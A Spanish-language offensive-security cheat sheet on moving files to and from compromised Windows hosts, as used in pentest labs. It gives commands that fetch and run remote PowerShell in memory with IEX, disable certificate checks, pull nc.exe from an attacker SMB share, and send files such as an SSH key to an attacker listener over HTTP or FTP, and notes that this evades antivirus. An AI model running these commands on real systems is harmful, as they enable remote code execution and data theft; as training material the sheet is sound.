transferencia-de-archivos-en-windows
Transferencia de Archivos en Windows
Section titled “Transferencia de Archivos en Windows”Windows dispone de múltiples utilidades nativas para transferir archivos. Conocerlas es esencial tanto para el atacante (que las usa para operar sin levantar sospechas) como para el defensor (que las monitoriza para detectar comportamiento anómalo).
Descargas
Section titled “Descargas”PowerShell — Base64
Section titled “PowerShell — Base64”Cuando no hay conectividad de red disponible o los métodos HTTP están bloqueados, se puede codificar un archivo en base64, copiar el texto y decodificarlo en el destino. No genera tráfico de red.
# En Linux — calcular el hash y codificarmd5sum id_rsacat id_rsa | base64 -w 0; echo# En Windows — decodificar y escribir el archivo[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTi..."))
# Verificar el hash para confirmar la integridadGet-FileHash C:\Users\Public\id_rsa -Algorithm md5El límite de longitud de cadena en
cmd.exees 8.191 caracteres. Para archivos grandes este método no es viable.
PowerShell — Descarga HTTP/HTTPS
Section titled “PowerShell — Descarga HTTP/HTTPS”System.Net.WebClient es la clase más versátil para descargas en cualquier versión de PowerShell.
# DownloadFile — guarda en disco(New-Object Net.WebClient).DownloadFile('https://servidor/archivo.ps1', 'C:\Users\Public\archivo.ps1')
# DownloadFileAsync — no bloquea el hilo(New-Object Net.WebClient).DownloadFileAsync('https://servidor/archivo.ps1', 'C:\Users\Public\archivo.ps1')
# DownloadString + IEX — ejecución en memoria (fileless)IEX (New-Object Net.WebClient).DownloadString('https://servidor/script.ps1')
# Con pipeline(New-Object Net.WebClient).DownloadString('https://servidor/script.ps1') | IEX# Invoke-WebRequest (PowerShell 3.0+) — más lento pero más modernoInvoke-WebRequest https://servidor/archivo.ps1 -OutFile archivo.ps1
# Alias disponibles: iwr, curl, wgetErrores comunes y soluciones:
# Error: Internet Explorer no configuradoInvoke-WebRequest https://servidor/archivo.ps1 -UseBasicParsing | IEX
# Error: certificado SSL no confiado[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}SMB es el método más cómodo en redes Windows donde el puerto 445 está disponible.
# En el atacante — levantar servidor SMB con Impacketsudo impacket-smbserver share -smb2support /tmp/archivos
# Con autenticación (necesario en Windows modernos)sudo impacket-smbserver share -smb2support /tmp/archivos -user usuario -password contraseña# En Windows — copiar desde el sharecopy \\192.168.1.100\share\nc.exe
# Si hay bloqueo de guest access, montar con credencialesnet use n: \\192.168.1.100\share /user:usuario contraseñacopy n:\nc.exeSMB sobre HTTP con WebDAV
Section titled “SMB sobre HTTP con WebDAV”Cuando el puerto 445 está bloqueado saliente pero el 80/443 no, WebDAV permite usar SMB sobre HTTP.
# Instalar dependenciassudo pip3 install wsgidav cheroot
# Levantar servidor WebDAVsudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous# Conectar desde Windowsdir \\192.168.1.100\DavWWWRootcopy C:\archivo.zip \\192.168.1.100\DavWWWRoot\# En el atacante — servidor FTP con Pythonsudo pip3 install pyftpdlibsudo python3 -m pyftpdlib --port 21# Descargar con PowerShell(New-Object Net.WebClient).DownloadFile('ftp://192.168.1.100/archivo.txt', 'C:\Users\Public\archivo.txt')# Descargar con cliente FTP nativo (útil sin shell interactiva)echo open 192.168.1.100 > ftp.txtecho USER anonymous >> ftp.txtecho binary >> ftp.txtecho GET archivo.txt >> ftp.txtecho bye >> ftp.txtftp -v -n -s:ftp.txtSubidas
Section titled “Subidas”PowerShell — Base64
Section titled “PowerShell — Base64”# Codificar el archivo en Windows[Convert]::ToBase64String((Get-Content -Path 'C:\archivo.txt' -Encoding Byte))Get-FileHash 'C:\archivo.txt' -Algorithm MD5 | select Hash# Decodificar en Linuxecho "BASE64STRING" | base64 -d > archivo.txtmd5sum archivo.txtPowerShell — Upload HTTP
Section titled “PowerShell — Upload HTTP”# En el atacante — servidor con soporte de uploadpip3 install uploadserverpython3 -m uploadserver# Subir con PSUpload.ps1IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')Invoke-FileUpload -Uri http://192.168.1.100:8000/upload -File C:\archivo.txt# Alternativa — base64 via POST capturado con Netcat$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\archivo.txt' -Encoding Byte))Invoke-WebRequest -Uri http://192.168.1.100:8000/ -Method POST -Body $b64# Capturar con Netcat y decodificarnc -lvnp 8000echo "BASE64" | base64 -d -w 0 > archivo.txtFTP Upload
Section titled “FTP Upload”# Servidor FTP con permisos de escriturasudo python3 -m pyftpdlib --port 21 --write# Subir con PowerShell(New-Object Net.WebClient).UploadFile('ftp://192.168.1.100/archivo.txt', 'C:\Windows\System32\drivers\etc\hosts')# Con cliente FTP nativoecho open 192.168.1.100 > ftp.txtecho USER anonymous >> ftp.txtecho binary >> ftp.txtecho PUT C:\archivo.txt >> ftp.txtecho bye >> ftp.txtftp -v -n -s:ftp.txtReferencia rápida — métodos por puerto
Section titled “Referencia rápida — métodos por puerto”| Método | Puerto | Notas |
|---|---|---|
| PowerShell HTTP | 80/443 | El más universal, generalmente permitido |
| SMB / Impacket | 445 | Muy cómodo, frecuentemente bloqueado saliente |
| WebDAV | 80/443 | SMB sobre HTTP, elude bloqueo de 445 |
| FTP | 21 | Frecuentemente bloqueado, útil en labs |
| Base64 | Sin red | Lento, limitado por tamaño de cadena |
El método fileless con
IEX+DownloadStringes especialmente útil porque el script nunca toca el disco — no queda archivo en el sistema para que el AV lo escanee.